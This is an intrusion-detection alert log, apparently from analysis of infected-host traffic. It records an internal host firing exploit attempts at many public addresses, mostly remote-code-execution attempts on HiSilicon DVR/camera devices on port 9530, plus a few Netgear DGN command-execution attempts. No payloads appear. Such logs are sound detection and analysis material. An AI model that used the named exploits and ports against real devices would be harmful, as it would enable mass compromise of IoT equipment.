05/16/24-16:38:50.075703	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38638	9530	192.168.2.23	96.236.208.74
05/16/24-16:39:03.262296	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50884	9530	192.168.2.23	175.14.253.100
05/16/24-16:39:03.262296	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50884	9530	192.168.2.23	175.14.253.100
05/16/24-16:39:12.295334	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54924	9530	192.168.2.23	111.230.82.167
05/16/24-16:39:14.530314	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59416	9530	192.168.2.23	172.195.131.0
05/16/24-16:39:12.295334	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54924	9530	192.168.2.23	111.230.82.167
05/16/24-16:39:14.530314	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59416	9530	192.168.2.23	172.195.131.0
05/16/24-16:39:16.609800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59326	9530	192.168.2.23	82.108.249.238
05/16/24-16:39:05.698714	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54448	9530	192.168.2.23	129.98.177.231
05/16/24-16:39:16.604440	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60338	9530	192.168.2.23	201.50.135.26
05/16/24-16:39:05.698714	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54448	9530	192.168.2.23	129.98.177.231
05/16/24-16:39:16.604440	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60338	9530	192.168.2.23	201.50.135.26
05/16/24-16:38:57.407570	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42770	9530	192.168.2.23	121.190.67.202
05/16/24-16:38:57.407570	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42770	9530	192.168.2.23	121.190.67.202
05/16/24-16:39:16.582440	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56084	9530	192.168.2.23	95.36.128.134
05/16/24-16:39:16.582440	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56084	9530	192.168.2.23	95.36.128.134
05/16/24-16:38:55.210423	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48018	9530	192.168.2.23	180.143.130.237
05/16/24-16:38:55.210423	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48018	9530	192.168.2.23	180.143.130.237
05/16/24-16:39:05.705355	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55400	9530	192.168.2.23	207.94.125.163
05/16/24-16:39:05.705355	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55400	9530	192.168.2.23	207.94.125.163
05/16/24-16:39:08.149413	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51770	9530	192.168.2.23	88.74.48.208
05/16/24-16:39:08.149413	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51770	9530	192.168.2.23	88.74.48.208
05/16/24-16:38:50.068917	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57094	9530	192.168.2.23	39.166.29.89
05/16/24-16:39:16.599013	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53024	9530	192.168.2.23	124.211.241.107
05/16/24-16:38:50.068917	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57094	9530	192.168.2.23	39.166.29.89
05/16/24-16:39:16.599013	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53024	9530	192.168.2.23	124.211.241.107
05/16/24-16:39:14.525604	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55876	9530	192.168.2.23	141.11.115.34
05/16/24-16:39:14.525604	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55876	9530	192.168.2.23	141.11.115.34
05/16/24-16:38:55.204608	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54404	9530	192.168.2.23	12.185.187.117
05/16/24-16:38:55.204608	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54404	9530	192.168.2.23	12.185.187.117
05/16/24-16:39:08.126405	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51608	9530	192.168.2.23	180.75.99.26
05/16/24-16:39:05.717197	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36058	9530	192.168.2.23	103.197.251.3
05/16/24-16:39:08.126405	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51608	9530	192.168.2.23	180.75.99.26
05/16/24-16:39:05.717197	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36058	9530	192.168.2.23	103.197.251.3
05/16/24-16:39:14.491101	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58302	9530	192.168.2.23	1.164.253.199
05/16/24-16:39:14.491101	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58302	9530	192.168.2.23	1.164.253.199
05/16/24-16:39:05.675816	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45812	9530	192.168.2.23	41.171.89.37
05/16/24-16:39:05.675816	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45812	9530	192.168.2.23	41.171.89.37
05/16/24-16:38:57.305716	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57586	9530	192.168.2.23	53.22.185.4
05/16/24-16:39:08.041754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52226	9530	192.168.2.23	81.134.208.17
05/16/24-16:38:57.305716	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57586	9530	192.168.2.23	53.22.185.4
05/16/24-16:38:55.227481	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44114	9530	192.168.2.23	134.162.249.118
05/16/24-16:39:08.041754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52226	9530	192.168.2.23	81.134.208.17
05/16/24-16:38:53.094014	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58704	9530	192.168.2.23	161.166.65.53
05/16/24-16:38:55.227481	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44114	9530	192.168.2.23	134.162.249.118
05/16/24-16:38:53.094014	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58704	9530	192.168.2.23	161.166.65.53
05/16/24-16:39:16.615053	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49754	9530	192.168.2.23	63.112.252.115
05/16/24-16:39:16.615053	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49754	9530	192.168.2.23	63.112.252.115
05/16/24-16:39:12.377458	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36178	9530	192.168.2.23	194.1.202.192
05/16/24-16:39:12.377458	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36178	9530	192.168.2.23	194.1.202.192
05/16/24-16:39:08.092917	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43292	9530	192.168.2.23	69.242.240.180
05/16/24-16:39:08.045021	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57690	9530	192.168.2.23	83.173.118.217
05/16/24-16:39:08.045021	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57690	9530	192.168.2.23	83.173.118.217
05/16/24-16:38:55.213081	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58908	9530	192.168.2.23	121.82.54.74
05/16/24-16:38:55.221753	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44682	9530	192.168.2.23	162.238.181.12
05/16/24-16:39:03.277940	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43972	9530	192.168.2.23	63.118.172.166
05/16/24-16:39:12.401769	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39334	9530	192.168.2.23	12.204.112.4
05/16/24-16:38:55.213081	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58908	9530	192.168.2.23	121.82.54.74
05/16/24-16:38:55.221753	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44682	9530	192.168.2.23	162.238.181.12
05/16/24-16:39:03.277940	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43972	9530	192.168.2.23	63.118.172.166
05/16/24-16:39:12.401769	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39334	9530	192.168.2.23	12.204.112.4
05/16/24-16:38:59.584462	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34082	9530	192.168.2.23	162.40.91.178
05/16/24-16:39:14.507232	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59716	9530	192.168.2.23	62.102.19.254
05/16/24-16:39:14.507232	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59716	9530	192.168.2.23	62.102.19.254
05/16/24-16:39:08.092917	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43292	9530	192.168.2.23	69.242.240.180
05/16/24-16:38:57.448957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33140	9530	192.168.2.23	167.201.188.83
05/16/24-16:38:59.584462	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34082	9530	192.168.2.23	162.40.91.178
05/16/24-16:38:57.448957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33140	9530	192.168.2.23	167.201.188.83
05/16/24-16:39:05.698744	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58220	9530	192.168.2.23	74.101.163.103
05/16/24-16:38:59.590347	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41542	9530	192.168.2.23	107.101.97.86
05/16/24-16:38:59.590347	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41542	9530	192.168.2.23	107.101.97.86
05/16/24-16:39:05.698744	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58220	9530	192.168.2.23	74.101.163.103
05/16/24-16:38:53.398642	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	33974	80	192.168.2.23	63.26.144.6
05/16/24-16:39:12.400545	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41768	9530	192.168.2.23	5.89.11.102
05/16/24-16:39:05.694706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57500	9530	192.168.2.23	39.97.118.94
05/16/24-16:39:12.400545	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41768	9530	192.168.2.23	5.89.11.102
05/16/24-16:38:50.047753	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43380	9530	192.168.2.23	187.51.43.152
05/16/24-16:39:05.694706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57500	9530	192.168.2.23	39.97.118.94
05/16/24-16:38:50.047753	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43380	9530	192.168.2.23	187.51.43.152
05/16/24-16:39:16.599369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47004	9530	192.168.2.23	177.182.86.136
05/16/24-16:39:16.602134	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43392	9530	192.168.2.23	151.209.79.143
05/16/24-16:38:55.212346	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38272	9530	192.168.2.23	35.247.252.138
05/16/24-16:39:16.599369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47004	9530	192.168.2.23	177.182.86.136
05/16/24-16:39:16.602134	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43392	9530	192.168.2.23	151.209.79.143
05/16/24-16:38:55.212346	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38272	9530	192.168.2.23	35.247.252.138
05/16/24-16:38:55.176120	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56878	9530	192.168.2.23	59.56.228.255
05/16/24-16:38:55.176120	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56878	9530	192.168.2.23	59.56.228.255
05/16/24-16:38:53.410466	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	42022	80	192.168.2.23	83.52.52.184
05/16/24-16:39:08.127925	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52818	9530	192.168.2.23	217.188.160.68
05/16/24-16:39:08.127925	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52818	9530	192.168.2.23	217.188.160.68
05/16/24-16:39:12.382838	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38130	9530	192.168.2.23	212.189.108.163
05/16/24-16:39:12.382838	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38130	9530	192.168.2.23	212.189.108.163
05/16/24-16:38:57.432991	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55434	9530	192.168.2.23	151.252.3.122
05/16/24-16:38:57.446996	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33126	9530	192.168.2.23	63.79.163.124
05/16/24-16:38:57.432991	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55434	9530	192.168.2.23	151.252.3.122
05/16/24-16:38:57.446996	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33126	9530	192.168.2.23	63.79.163.124
05/16/24-16:38:53.011484	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40712	9530	192.168.2.23	76.38.38.38
05/16/24-16:38:55.206830	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55976	9530	192.168.2.23	109.55.5.239
05/16/24-16:38:55.206830	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55976	9530	192.168.2.23	109.55.5.239
05/16/24-16:38:53.094662	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44358	9530	192.168.2.23	217.8.128.78
05/16/24-16:38:53.011484	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40712	9530	192.168.2.23	76.38.38.38
05/16/24-16:38:53.094662	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44358	9530	192.168.2.23	217.8.128.78
05/16/24-16:38:50.065161	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38390	9530	192.168.2.23	48.223.45.0
05/16/24-16:38:50.065161	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38390	9530	192.168.2.23	48.223.45.0
05/16/24-16:39:02.747123	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40156	9530	192.168.2.23	32.94.107.46
05/16/24-16:39:02.747123	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40156	9530	192.168.2.23	32.94.107.46
05/16/24-16:39:16.580814	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39056	9530	192.168.2.23	219.20.57.241
05/16/24-16:38:59.519413	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46170	9530	192.168.2.23	20.130.16.27
05/16/24-16:38:59.519413	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46170	9530	192.168.2.23	20.130.16.27
05/16/24-16:39:08.146382	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43468	9530	192.168.2.23	119.49.233.16
05/16/24-16:39:08.146382	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43468	9530	192.168.2.23	119.49.233.16
05/16/24-16:39:12.303995	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50524	9530	192.168.2.23	92.194.135.40
05/16/24-16:39:16.580814	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39056	9530	192.168.2.23	219.20.57.241
05/16/24-16:39:12.303995	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50524	9530	192.168.2.23	92.194.135.40
05/16/24-16:39:12.301131	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37744	9530	192.168.2.23	98.102.150.74
05/16/24-16:38:55.226384	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53996	9530	192.168.2.23	122.81.64.126
05/16/24-16:38:55.226384	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53996	9530	192.168.2.23	122.81.64.126
05/16/24-16:39:12.301131	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37744	9530	192.168.2.23	98.102.150.74
05/16/24-16:39:12.383612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38560	9530	192.168.2.23	58.218.99.42
05/16/24-16:39:12.383612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38560	9530	192.168.2.23	58.218.99.42
05/16/24-16:39:08.128046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35538	9530	192.168.2.23	170.165.180.218
05/16/24-16:39:14.529771	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60516	9530	192.168.2.23	204.218.172.250
05/16/24-16:39:14.529771	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60516	9530	192.168.2.23	204.218.172.250
05/16/24-16:39:16.613976	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55224	9530	192.168.2.23	97.91.100.170
05/16/24-16:39:08.128046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35538	9530	192.168.2.23	170.165.180.218
05/16/24-16:39:16.613976	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55224	9530	192.168.2.23	97.91.100.170
05/16/24-16:38:53.064453	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58902	9530	192.168.2.23	148.99.239.184
05/16/24-16:38:53.064453	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58902	9530	192.168.2.23	148.99.239.184
05/16/24-16:39:02.727988	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42804	9530	192.168.2.23	172.68.31.16
05/16/24-16:39:14.507454	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42194	9530	192.168.2.23	46.73.11.16
05/16/24-16:38:55.204596	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51682	9530	192.168.2.23	126.158.180.109
05/16/24-16:39:02.727988	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42804	9530	192.168.2.23	172.68.31.16
05/16/24-16:39:14.507454	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42194	9530	192.168.2.23	46.73.11.16
05/16/24-16:38:55.204596	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51682	9530	192.168.2.23	126.158.180.109
05/16/24-16:39:14.493579	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42360	9530	192.168.2.23	91.182.90.56
05/16/24-16:39:14.493579	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42360	9530	192.168.2.23	91.182.90.56
05/16/24-16:38:53.013556	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50520	9530	192.168.2.23	139.53.78.113
05/16/24-16:38:53.013556	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50520	9530	192.168.2.23	139.53.78.113
05/16/24-16:39:08.146648	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47040	9530	192.168.2.23	86.70.193.30
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37000	9530	192.168.2.23	139.11.229.229
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37000	9530	192.168.2.23	139.11.229.229
05/16/24-16:39:08.146648	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47040	9530	192.168.2.23	86.70.193.30
05/16/24-16:38:50.069075	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56980	9530	192.168.2.23	90.142.57.175
05/16/24-16:38:50.069075	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56980	9530	192.168.2.23	90.142.57.175
05/16/24-16:38:50.068493	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35124	9530	192.168.2.23	180.55.44.32
05/16/24-16:38:50.068493	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35124	9530	192.168.2.23	180.55.44.32
05/16/24-16:39:16.614346	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54250	9530	192.168.2.23	103.124.132.76
05/16/24-16:38:59.519256	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36308	9530	192.168.2.23	92.159.203.114
05/16/24-16:38:59.519256	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36308	9530	192.168.2.23	92.159.203.114
05/16/24-16:39:16.603172	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46740	9530	192.168.2.23	62.112.105.12
05/16/24-16:39:16.603172	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46740	9530	192.168.2.23	62.112.105.12
05/16/24-16:39:12.378403	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39726	9530	192.168.2.23	213.174.80.60
05/16/24-16:39:12.378403	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39726	9530	192.168.2.23	213.174.80.60
05/16/24-16:39:16.597898	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59212	9530	192.168.2.23	95.55.147.34
05/16/24-16:39:16.614346	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54250	9530	192.168.2.23	103.124.132.76
05/16/24-16:38:59.518427	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49720	9530	192.168.2.23	19.51.174.255
05/16/24-16:39:03.259998	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55224	9530	192.168.2.23	111.112.217.81
05/16/24-16:38:59.518427	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49720	9530	192.168.2.23	19.51.174.255
05/16/24-16:39:16.597898	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59212	9530	192.168.2.23	95.55.147.34
05/16/24-16:39:03.259998	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55224	9530	192.168.2.23	111.112.217.81
05/16/24-16:38:55.212338	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55556	9530	192.168.2.23	150.227.147.78
05/16/24-16:38:55.212338	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55556	9530	192.168.2.23	150.227.147.78
05/16/24-16:39:09.592094	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	52664	80	192.168.2.23	13.76.248.35
05/16/24-16:38:50.069350	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44624	9530	192.168.2.23	175.88.130.12
05/16/24-16:38:50.069350	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44624	9530	192.168.2.23	175.88.130.12
05/16/24-16:38:50.069048	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33738	9530	192.168.2.23	76.56.85.41
05/16/24-16:38:50.069048	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33738	9530	192.168.2.23	76.56.85.41
05/16/24-16:39:02.746067	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44812	9530	192.168.2.23	117.213.100.149
05/16/24-16:39:02.746067	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44812	9530	192.168.2.23	117.213.100.149
05/16/24-16:38:59.519258	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55140	9530	192.168.2.23	122.68.141.252
05/16/24-16:38:59.519258	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55140	9530	192.168.2.23	122.68.141.252
05/16/24-16:39:03.281178	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42374	9530	192.168.2.23	43.59.55.114
05/16/24-16:39:03.281178	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42374	9530	192.168.2.23	43.59.55.114
05/16/24-16:39:05.706098	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46388	9530	192.168.2.23	180.238.50.45
